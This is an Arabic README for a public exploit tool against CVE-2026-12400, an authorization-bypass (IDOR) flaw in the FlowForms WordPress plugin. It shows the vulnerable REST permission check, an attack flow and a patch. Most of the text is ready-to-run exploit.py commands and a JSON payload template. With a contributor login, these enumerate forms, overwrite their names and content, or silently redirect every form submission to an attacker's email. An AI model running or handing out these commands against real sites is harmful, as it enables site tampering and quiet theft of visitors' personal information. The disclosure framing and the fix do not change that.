
# استغلال IDOR مُوثَّق في ووردبريس لثغرة CVE-2026-12400؛ يقوم بتعداد معرّفات نماذج REST الخاصة بـ FlowForms وتعديل محتوى النماذج أو اختطاف إشعارات البريد الإلكتروني.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2026-12400 |
| درجة CVSS | 4.3 — متوسطة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (تجاوز التفويض من خلال مفتاح يتحكم به المستخدم) |
| المنتج | FlowForms — إضافة منشئ نماذج المحادثة لووردبريس |
| المتأثر | جميع الإصدارات حتى 1.1.1 |
| تم الإصلاح في | تم الإصلاح في 1.1.2 |
| الباحث | Phantom Hat |
دراسة حالة كاملة بالصندوق الأبيض مع تحليل شفرة المصدر، تتبع تدفق الإدخال، ومقارنة التصحيح:
يُظهر FlowForms نقطتي نهاية REST اثنتين تحت مساحة اسم flowforms/v1 تكونان عرضة للخطر:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
كلتاهما تقبل {id} التي يتحكم بها المستخدم في مسار URL وتعدل بيانات النموذج المستهدف — الاسم والمحتوى والتخطيط وعنوان URL لإعادة التوجيه ومستلمي إشعارات البريد الإلكتروني.
كلا مسجلي المسار الضعيفين يشاركان نفس permission_callback المعيبة:
// تحديث محتوى النموذج / الاسم
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// تحديث إعدادات النموذج (إشعارات البريد الإلكتروني، التخطيط، إلخ.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts هي صلاحية يمتلكها المحررون المساهمون. لا يتم أبدًا التحقق من المعامل {id} مقابل ملكية المستخدم الطالب — يمكن لأي مستخدم مصادق أن يستهدف أي معرف نموذج على الموقع.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) المصادقة كمحرر مساهم
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) استخراج nonce REST
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) تعداد النماذج المنشورة
│<─ HTTP 200 ───────────────────────│ (أي نموذج يمكن الوصول إليه هو هدف)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) الكتابة فوق اسم النموذج / محتواه
│ مع حمولة المهاجم ──────────>│ ← لا يوجد فحص للمالك
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) اختطاف إشعارات البريد الإلكتروني
│ /settings ─────────────────>│ ← يتلقى المهاجم جميع
│<─ { "success": true } ────────────│ إرسالات النماذج المستقبلية
│ │
│ جميع نواقل الهجوم الثلاثة مؤكدة │ (5) الاسم ✔ المحتوى ✔ البريد الإلكتروني ✔
| الوضع | نقطة النهاية | التأثير |
|---|---|---|
الاسم | /forms/{id} | إعادة تسمية أي نموذج — تشويه، هندسة اجتماعية |
المحتوى | /forms/{id} | الكتابة فوق التخطيط، شاشات الترحيب/الشكر، عنوان URL لإعادة التوجيه |
البريد الإلكتروني | /forms/{id}/settings | اختطاف إشعار البريد الإلكتروني — استقبال جميع إرسالات النماذج بصمت |
وضع البريد الإلكتروني هو الأكثر حرجية. بعد الاختطاف، يتم توجيه كل إرسال إلى نموذج الاتصال الخاص بالضحية — بما في ذلك المعلومات الشخصية للزوار والرسائل وتفاصيل الاتصال — بصمت إلى العنوان الذي يتحكم به المهاجم. لا يرى مسؤول الموقع أي مؤشر على التغيير.
Contributor على الموقع المستهدفgit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
إعادة تسمية أي نموذج إلى محتوى يتحكم به المهاجم:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
الكتابة فوق تخطيط النموذج والشاشات وعنوان URL لإعادة التوجيه والصور الخلفية:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
توجيه جميع إشعارات إرسال النماذج المستقبلية إلى عنوان يتحكم به المهاجم:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| الوسم | المختصر | الوصف | مطلوب |
|---|---|---|---|
--url | -u | عنوان URL المستهدف لووردبريس | ✅ |
--user | اسم المستخدم في ووردبريس (محرر مساهم+) | ✅ | |
--password | كلمة مرور ووردبريس | ✅ | |
--id-start | -i | معرف البداية لتعداد النماذج | ✅ |
--num-forms | -n | عدد معرفات النماذج لتعدادها | ✅ |
--exploit | وضع الهجوم: name / content / email | ✅ | |
--proxy | -p | عنوان URL للوكيل (مثال http://127.0.0.1:8080) | ❌ |
قوالب حمولة JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) معرفة في أعلى السكريبت. قم بتعديلها قبل التشغيل لتخصيص محتوى الهجوم — تغيير عنوان البريد الإلكتروني للإشعار، عنوان URL لإعادة التوجيه، الصورة الخلفية، عنوان النموذج، إلخ.
# أعلى ملف exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← غيّر هذا
...
}
}
}
}
}""")
يقوم الأداة الاستغلالية بثلاث خطوات آلية:
الخطوة 1 — المصادقة
تسجيل الدخول كمهاجم (محرر مساهم) واستخراج nonce REST صالح من wp-admin/post-new.php.
الخطوة 2 — تعداد النماذج
فحص GET /flowform/{id} عبر نطاق المعرفات المحدد. يتم جمع المعرفات التي تعيد HTTP 200 كأهداف يمكن الوصول إليها — هذه نماذج منشورة تابعة لأي مستخدم على الموقع، بما في ذلك المسؤولين.
الخطوة 3 — الاستغلال اعتمادًا على الوضع المحدد، يتم إرسال الحمولة المقابلة إلى نقطة نهاية REST غير المحمية:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsيقبل الخادم الطلب ويطبق التعديل دون أي فحص للملكية.
| الإجراء | التفاصيل |
|---|---|
| التصحيح | استبدال فحص edit_posts العام بـ current_user_can('edit_post', $form_id) على كلتا نقطتي النهاية — ربط فحص الصلاحية بكائن المنشور المحدد يفرض قواعد ملكية ووردبريس |
| التخفيف | حتى يتم التصحيح، قم بتقييد صلاحيات دوري Contributor و Author إذا كانت الإضافة نشطة |
// ضعيف — كلتا نقطتي النهاية
'permission_callback' => fn() => current_user_can('edit_posts'),
// آمن (مصحح)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # أداة استغلالية محسّنة مع واجهة غنية (3 أوضاع)
├── requirements.txt # تبعيات بايثون
└── README.md # هذا الملف
هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والبحث التعليمي فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني بموجب القوانين المطبقة في جميع أنحاء العالم. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذا البرنامج. احصل دائمًا على إذن كتابي صريح قبل اختبار أي نظام لا تملكه.
Phantom Hat — باحث أمني مستقل
تم إجراء هذا البحث كجزء من الإفصاح المسؤول عن الثغرات.